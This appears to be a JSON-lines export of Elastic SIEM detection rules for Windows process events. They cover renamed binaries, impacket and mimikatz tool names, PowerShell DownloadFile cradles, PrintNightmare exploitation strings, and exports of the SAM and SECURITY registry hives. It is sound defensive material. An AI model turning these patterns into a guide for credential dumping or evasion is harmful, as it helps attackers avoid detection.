{"description":"Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint. Author: Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"36480ae1-a1cb-4eaa-a0d6-29801d7e9142","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Renamed Binary","query":"(winlog.event_data.OriginalFileName:(\"cmd.exe\" OR \"CONHOST.EXE\" OR \"powershell.exe\" OR \"powershell_ise.exe\" OR \"psexec.exe\" OR \"psexec.c\" OR \"cscript.exe\" OR \"wscript.exe\" OR \"mshta.exe\" OR \"regsvr32.exe\" OR \"wmic.exe\" OR \"certutil.exe\" OR \"rundll32.exe\" OR \"cmstp.exe\" OR \"msiexec.exe\" OR \"7z.exe\" OR \"winrar.exe\" OR \"wevtutil.exe\" OR \"net.exe\" OR \"net1.exe\" OR \"netsh.exe\") AND (NOT (process.executable:(*\\\\cmd.exe OR *\\\\conhost.exe OR *\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\psexec.exe OR *\\\\psexec64.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\mshta.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\certutil.exe OR *\\\\rundll32.exe OR *\\\\cmstp.exe OR *\\\\msiexec.exe OR *\\\\7z.exe OR *\\\\winrar.exe OR *\\\\wevtutil.exe OR *\\\\net.exe OR *\\\\net1.exe OR *\\\\netsh.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint. Author: Matthew Green - @mgreen27, Florian Roth. License: ","enabled":false,"false_positives":["Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9a746db0-c26f-4f91-d80e-a1fb2858b197","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Highly Relevant Renamed Binary","query":"(winlog.event_data.OriginalFileName:(\"powershell.exe\" OR \"powershell_ise.exe\" OR \"psexec.exe\" OR \"psexec.c\" OR \"cscript.exe\" OR \"wscript.exe\" OR \"mshta.exe\" OR \"regsvr32.exe\" OR \"wmic.exe\" OR \"certutil.exe\" OR \"rundll32.exe\" OR \"cmstp.exe\" OR \"msiexec.exe\") AND (NOT (process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\psexec.exe OR *\\\\psexec64.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\mshta.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\certutil.exe OR *\\\\rundll32.exe OR *\\\\cmstp.exe OR *\\\\msiexec.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti. Author: Sittikorn S. License: ","enabled":false,"false_positives":["Software that illegaly integrates MegaSync in a renamed form","Administrators that have renamed MegaSync"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"643bdcac-8b82-49f4-9fd9-25a90b929f3b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed MegaSync","query":"((process.parent.executable:*\\\\explorer.exe AND process.command_line:*C\\:\\\\Windows\\\\Temp\\\\meg.exe*) OR (winlog.event_data.OriginalFileName:\"meg.exe\" AND (NOT (process.executable:*\\\\meg.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a renamed PowerShell often used by attackers or malware Author: Florian Roth, frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Renamed PowerShell","query":"((winlog.event_data.Description:(Windows\\ PowerShell* OR pwsh*) AND Company:\"Microsoft\\ Corporation\") AND (NOT (process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\pwsh.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a renamed ProcDump executable often used by attackers or malware Author: Florian Roth. License: ","enabled":false,"false_positives":["Procdump illegaly bundled with legitimate software","Weird admins who renamed binaries"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Renamed ProcDump","query":"(((winlog.event_data.OriginalFileName:\"procdump\" OR (process.command_line:*\\ \\-ma\\ * AND process.command_line:*\\ \\-accepteula\\ *)) OR (process.command_line:*\\ \\-ma\\ * AND process.command_line:*.dmp*)) AND (NOT (process.executable:(*\\\\procdump.exe OR *\\\\procdump64.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a renamed PsExec often used by attackers or malware Author: Florian Roth. License: ","enabled":false,"false_positives":["Software that illegaly integrates PsExec in a renamed form","Administrators that have renamed PsExec and no one knows why"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Renamed PsExec","query":"((winlog.event_data.Description:\"Execute\\ processes\\ remotely\" AND Product:\"Sysinternals\\ PsExec\") AND (NOT (process.executable:(*\\\\PsExec.exe OR *\\\\PsExec64.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of AdvancedRun utitlity Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d2b749ee-4225-417e-b20e-a8d2193cbb84","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious AdvancedRun Execution","query":"(process.executable:*\\\\AdvancedRun.exe OR (process.command_line:*\\ \\/EXEFilename\\ * AND process.command_line:*\\ \\/Run*) OR (process.command_line:*\\ \\/WindowState\\ 0* AND process.command_line:*\\ \\/RunAs\\ * AND process.command_line:*\\ \\/CommandLine\\ *))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of AdvancedRun utitlity in the context of the TrustedInstaller or SYSTEM account Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa00b701-44c6-4679-994d-5a18afa8a707","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious AdvancedRun Runas Priv User","query":"(process.command_line:(*\\/EXEFilename* OR *\\/CommandLine*) AND (process.command_line:(*\\ \\/RunAs\\ 8\\ * OR *\\ \\/RunAs\\ 4\\ *) OR process.command_line:(*\\/RunAs\\ 8 OR *\\/RunAs\\ 4)))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"64fe788d-ca6b-7a3c-f932-d1ab69ecbad1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Executable Used by PlugX in Uncommon Location","query":"((((((((((((process.executable:*\\\\CamMute.exe AND (NOT (process.executable:(*\\\\Lenovo\\\\Communication\\ Utility\\\\* OR *\\\\Lenovo\\\\Communications\\ Utility\\\\*)))) OR (process.executable:*\\\\chrome_frame_helper.exe AND (NOT (process.executable:*\\\\Google\\\\Chrome\\\\application\\\\*)))) OR (process.executable:*\\\\dvcemumanager.exe AND (NOT (process.executable:*\\\\Microsoft\\ Device\\ Emulator\\\\*)))) OR (process.executable:*\\\\Gadget.exe AND (NOT (process.executable:*\\\\Windows\\ Media\\ Player\\\\*)))) OR (process.executable:*\\\\hcc.exe AND (NOT (process.executable:*\\\\HTML\\ Help\\ Workshop\\\\*)))) OR (process.executable:*\\\\hkcmd.exe AND (NOT (process.executable:(*\\\\System32\\\\* OR *\\\\SysNative\\\\* OR *\\\\SysWow64\\\\*))))) OR (process.executable:*\\\\Mc.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit*))))) OR (process.executable:*\\\\MsMpEng.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Security\\ Client\\\\* OR *\\\\Windows\\ Defender\\\\* OR *\\\\AntiMalware\\\\*))))) OR (process.executable:*\\\\msseces.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Security\\ Center\\\\* OR *\\\\Microsoft\\ Security\\ Client\\\\* OR *\\\\Microsoft\\ Security\\ Essentials\\\\*))))) OR (process.executable:*\\\\OInfoP11.exe AND (NOT (process.executable:*\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\*)))) OR (process.executable:*\\\\OleView.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit* OR *\\\\Windows\\ Resource\\ Kit\\\\*))))) OR (process.executable:*\\\\rc.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit* OR *\\\\Windows\\ Resource\\ Kit\\\\* OR *\\\\Microsoft.NET\\\\*)))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of CSharp interactive console by PowerShell Author: Michael R. (@nahamike01). License: ","enabled":false,"false_positives":["Possible depending on environment. Pair with other factors such as net connections, command-line args, etc."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a9e416a8-e613-4f8b-88b8-a7d1d1af2f61","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Use of CSharp Interactive Console","query":"(process.executable:*\\\\csi.exe AND process.parent.executable:*\\\\powershell.exe AND winlog.event_data.OriginalFileName:\"csi.exe\")","meta":{"from":"1m"},"severity":"high","tags":["T1127"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives) Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of the impacket tools"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"317eb9b8-919a-8a43-fe54-cd19e47ed3f6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Impacket Tool Execution","query":"(process.executable:(*\\\\goldenPac* OR *\\\\karmaSMB* OR *\\\\kintercept* OR *\\\\ntlmrelayx* OR *\\\\rpcdump* OR *\\\\samrdump* OR *\\\\secretsdump* OR *\\\\smbexec* OR *\\\\smbrelayx* OR *\\\\wmiexec* OR *\\\\wmipersist*) OR process.executable:(*\\\\atexec_windows.exe OR *\\\\dcomexec_windows.exe OR *\\\\dpapi_windows.exe OR *\\\\findDelegation_windows.exe OR *\\\\GetADUsers_windows.exe OR *\\\\GetNPUsers_windows.exe OR *\\\\getPac_windows.exe OR *\\\\getST_windows.exe OR *\\\\getTGT_windows.exe OR *\\\\GetUserSPNs_windows.exe OR *\\\\ifmap_windows.exe OR *\\\\mimikatz_windows.exe OR *\\\\netview_windows.exe OR *\\\\nmapAnswerMachine_windows.exe OR *\\\\opdump_windows.exe OR *\\\\psexec_windows.exe OR *\\\\rdp_check_windows.exe OR *\\\\sambaPipe_windows.exe OR *\\\\smbclient_windows.exe OR *\\\\smbserver_windows.exe OR *\\\\sniffer_windows.exe OR *\\\\sniff_windows.exe OR *\\\\split_windows.exe OR *\\\\ticketer_windows.exe))","meta":{"from":"1m"},"severity":"high","tags":["T1557"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9aa01d62-7667-4d3b-acb8-8cb5103e2014","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Emissary Panda Malware SLLauncher","query":"(process.parent.executable:*\\\\sllauncher.exe AND process.executable:*\\\\svchost.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Format.com FileSystem LOLBIN","query":"((process.executable:*\\\\format.com AND process.command_line:*\\/fs\\:*) AND (NOT ((process.command_line:(*\\/fs\\:FAT* OR *\\/fs\\:exFAT* OR *\\/fs\\:NTFS* OR *\\/fs\\:UDF* OR *\\/fs\\:ReFS*)))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8f70ac5f-1f6f-4f8e-b454-db19561216c5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell DownloadFile","query":"(process.command_line:*powershell* AND process.command_line:*.DownloadFile* AND process.command_line:*System.Net.WebClient*)","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1104","T1105"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files. Author: Eli Salem, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Legitimate modification of keys"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5f60740a-f57b-4e76-82a1-15b6ff2cb134","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Modifies the Registry From a File","query":"(process.executable:*\\\\regini.exe AND (NOT (process.command_line:/:[\\\\\\\\]/)))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of rundll32 with a command line that doesn't contain a .dll file Author: Tim Shelton, Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3042ac49-f7f7-6cdf-4c66-2b8814efc19a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Application Executed Non-Executable Extension","query":"(process.executable:*\\\\rundll32.exe AND (NOT ((NOT _exists_:process.command_line) OR (process.command_line:*.dll* OR process.command_line:\"\") OR (process.parent.executable:*\\:\\\\Program\\ Files\\\\Internet\\ Explorer\\\\iexplore.exe AND process.command_line:*.cpl*))))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of SecurityXploded Tools Author: Florian Roth. License: ","enabled":false,"false_positives":["unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7679d464-4f74-45e2-9e01-ac66c5eb041a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"SecurityXploded Tool","query":"(Company:\"SecurityXploded\" OR process.executable:*PasswordDump.exe OR winlog.event_data.OriginalFileName:*PasswordDump.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1555"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1555","name":"Credentials from Password Stores","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of the PurpleSharp adversary simulation tool Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"de6225fc-ed00-1552-025d-9536aaff6b36","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"PurpleSharp Indicator","query":"(process.command_line:(*xyz123456.exe* OR *PurpleSharp*) OR winlog.event_data.OriginalFileName:\"PurpleSharp.exe\")","meta":{"from":"1m"},"severity":"critical","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the execution of whoami that has been renamed to a different name to avoid detection Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"544f34e3-1fc0-8773-056e-7d4017608cc3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Renamed Whoami Execution","query":"(winlog.event_data.OriginalFileName:\"whoami.exe\" AND (NOT (process.executable:*\\\\whoami.exe)))","meta":{"from":"1m"},"severity":"critical","tags":["T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of whoami with suspicious parents or parameters Author: Florian Roth. License: ","enabled":false,"false_positives":["Admin activity","Scripts and administrative tools used in the monitored environment","Monitoring activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d3dda6ae-1f21-3ce9-2cb1-b2ab4a3d304b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Whoami Execution Anomaly","query":"((((process.executable:*\\\\whoami.exe AND (NOT (process.parent.executable:(*\\\\cmd.exe OR *\\\\powershell.exe)))) AND (NOT (process.parent.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Monitoring\\ Agent\\\\Agent\\\\MonitoringHost.exe\" OR \"\")))) AND (NOT (NOT _exists_:process.parent.executable))) OR process.command_line:(*whoami\\ \\-all* OR *whoami\\ \\/all* OR *whoami.exe\\ \\-all* OR *whoami.exe\\ \\/all*))","meta":{"from":"1m"},"severity":"high","tags":["T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of whoami, which is often used by attackers after exloitation / privilege escalation but rarely used by administrators Author: Florian Roth. License: ","enabled":false,"false_positives":["Admin activity","Scripts and administrative tools used in the monitored environment","Monitoring activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e28a5a99-da44-436d-b7a0-2afc20a5f413","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Whoami Execution","query":"process.executable:*\\\\whoami.exe","meta":{"from":"1m"},"severity":"medium","tags":["T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll Author: Christian Burkard. License: ","enabled":false,"false_positives":["Windows installed on non-C drive"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3d31347b-4967-af97-5aba-65cd10ee6d76","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Xwizard DLL Sideloading","query":"(process.executable:*\\\\xwizard.exe AND (NOT (process.executable:C\\:\\\\Windows\\\\System32\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties. Author: Ensar Åžamil, @sblmsrsn, @oscd_initiative. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"53d4bb30-3f36-4e8a-b078-69d36c4a79ff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Custom Class Execution via Xwizard","query":"(process.executable:*\\\\xwizard.exe AND process.command_line:/{[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}}/)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"19493491-b0ed-e8de-2015-f51feee9caf2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"SystemNightmare Exploitation Script Execution","query":"process.command_line:(*printnightmare.gentilkiwi.com* OR *\\ \\/user\\:gentilguest\\ * OR *Kiwi\\ Legit\\ Printer*)","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1068"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"846b866e-2a57-46ee-8e16-85fa92759be7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Exploited CVE-2020-10189 Zoho ManageEngine","query":"(process.parent.executable:*DesktopCentral_Server\\\\jre\\\\bin\\\\java.exe AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\bitsadmin.exe))","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1059","T1059","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the export of a crital Registry key to a file. Author: Oddvar Moe, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Dumping hives for legitimate purpouse i.e. backup or forensic investigation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"82880171-b475-4201-b811-e9c826cd5eaa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Exports Critical Registry Keys To a File","query":"(process.executable:*\\\\regedit.exe AND process.command_line:*\\ \\/E\\ * AND process.command_line:(*hklm* OR *hkey_local_machine*) AND process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security))","meta":{"from":"1m"},"severity":"high","tags":["T1012"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the export of the target Registry key to a file. Author: Oddvar Moe, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Legitimate export of keys"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0b21e4f1-1c8d-c3ec-0313-ccde0728930e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Exports Registry Key To a File","query":"((process.executable:*\\\\regedit.exe AND process.command_line:*\\ \\/E\\ *) AND (NOT ((process.command_line:(*hklm* OR *hkey_local_machine*) AND process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security)))))","meta":{"from":"1m"},"severity":"low","tags":["T1012"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the image load of Python Core indicative of a Python script bundled with Py2Exe. Author: Patrick St. John, OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Legit Py2Exe Binaries"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"14d150b9-e9ba-107c-c1ef-002e0f8f65be","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Python Py2Exe Image Load","query":"(winlog.event_data.Description:\"Python\\ Core\" AND (NOT (process.executable:*Python* OR process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
